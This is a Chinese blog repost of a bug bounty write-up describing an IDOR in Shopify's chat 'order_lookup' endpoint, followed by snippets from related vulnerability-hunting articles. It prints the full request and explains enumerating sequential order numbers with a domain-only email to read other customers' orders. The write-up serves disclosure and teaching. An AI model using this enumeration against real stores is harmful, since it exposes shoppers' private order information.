实战 | 记一次赏金2500美金的Shopify漏洞挖掘

VSole2022-08-03 07:54:01

概括

当用户能够访问他们不应该访问的内容时,就会出现最常见的漏洞之一。如果恶意行为者利用此漏洞并访问他人的机密信息,则可能导致敏感数据泄露。这是一种称为信息泄露的漏洞形式,它可以有多种形式。

通常,Web 应用程序开发人员会很好地检查用户是否应该能够访问他们请求的信息。

但是,在隐藏或不明显的地方,很容易忘记验证用户是否具有适当的访问权限。

漏洞挖掘过程

Shopify是世界上最大的电子商务平台之一。

它允许用户建立在线商店并与他们的客户互动,而无需处理构建和支持此类在线应用程序所需的几乎任何技术挑战。

提供的功能之一是允许客户与商店进行实时交互的聊天应用程序。

我测试了一个选项,该选项允许声明“我需要更新我的订单。”

单击此按钮时,它会发出一个POST请求,其中包含order_lookup带有请求信息的 JSON。

payload如下:

POST /api/storefront/conversations/lx9vF-DR31d1ePOOCS0Uw2lFUUBjhNqmMTOdkeM631M/order_lookup HTTP/1.1
Host: shopify-chat.shopifycloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://okbay44.myshopify.com/
Content-Type: application/json
X-Shopify-Chat-Shop-Identifier: █████████
Origin: https://okbay44.myshopify.com
Content-Length: 113
DNT: 1
Connection: close

{"order_lookup":{"email":"@gmail.com","order_number":"1005","user_token":"███"}}

我注意到对email值执行的唯一验证是确保提供了邮件服务器。

这意味着将email值更改为@gmail.com,@yahoo.com等,然后这将通过验证。

然后,我还注意到该order_number值应该从 1000 开始,并在每个新订单上增加 1。

结合这两个事实,我能够发现这实际上是一个IDOR,并且攻击者将有能力获取在该商店下的任何订单的订单信息。

漏洞报告地址:https://hackerone.com/reports/968165

为什么这个赏金价值 2,500 美元?

在安全方面,人们经常将 CIA(机密性、完整性和可用性)三位一体作为指导安全原则。

在这种情况下,违反了机密性原则。我不确定从订单中泄露的信息究竟会有多大的破坏性(即是否只是购买的订单产品,或者是否包含敏感的财务信息),但无论哪种方式,用户信息都应该保密。

这使该漏洞具有中等严重性。幸运的是,似乎没有升级或违反完整性或可用性会使漏洞更加严重。

最后,这个漏洞获得了shopify的2500美元奖励。

文章来源:Hack学习呀
漏洞挖掘shopify
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果恶意行为者利用此漏洞并访问他人的机密信息,则可能导致敏感数据泄露。通常,Web 应用程序开发人员会很好地检查用户是否应该能够访问他们请求的信息。但是,在隐藏或不明显的地方,很容易忘记验证用户是否具有适当的访问权限。
当用户能够访问他们不应该访问的内容时,就会出现最常见的漏洞之一。如果恶意行为者利用此漏洞并访问他人的机密信息,则可能导致敏感数据泄露。这是一种称为信息泄露的漏洞形式,它可以有多种形式。
概括当用户能够访问他们不应该访问的内容时,就会出现最常见的漏洞之一。如果恶意行为者利用此漏洞并访问他人的机密
0x01 确定目标无目标随便打,有没有自己对应的SRC应急响应平台不说,还往往会因为一开始没有挖掘漏洞而随意放弃,这样往往不能挖掘到深层次的漏洞。所以在真的想要花点时间在SRC漏洞挖掘上的话,建议先选好目标。0x02 确认测试范围前面说到确定测什么SRC,那么下面就要通过一些方法,获取这个SRC的测试范围,以免测偏。
漏洞挖掘工具—afrog
2023-03-20 10:20:07
-t http://example.com -o result.html2、扫描多个目标 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、测试单个 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、测试多个 PoC 文件 afrog?
但又没登录怎么获取的当前用户的Access-Reset-Ticket真相只有一个,看看接口哪里获取到的原来是在输入要找回的用户就会获取当前用户的Access-Reset-Ticket6到了,开发是我大哥尝试修改可行,修改管理员账号,然后起飞下机。漏洞已修复,厂商也修复了漏洞更新到了最新版本。
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合应用各种技术和工具,尽可能地找出其中的潜在漏洞。cookie的key为RememberMe,并对相关信息进行序列化,先使用aes加密,然后再使用base64编码处理形成的。在网上关于Shiro反序列化的介绍很多,我这里就只简单介绍一下,详情各位可以看下大神们对其源码的分析。
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
VSole
网络安全专家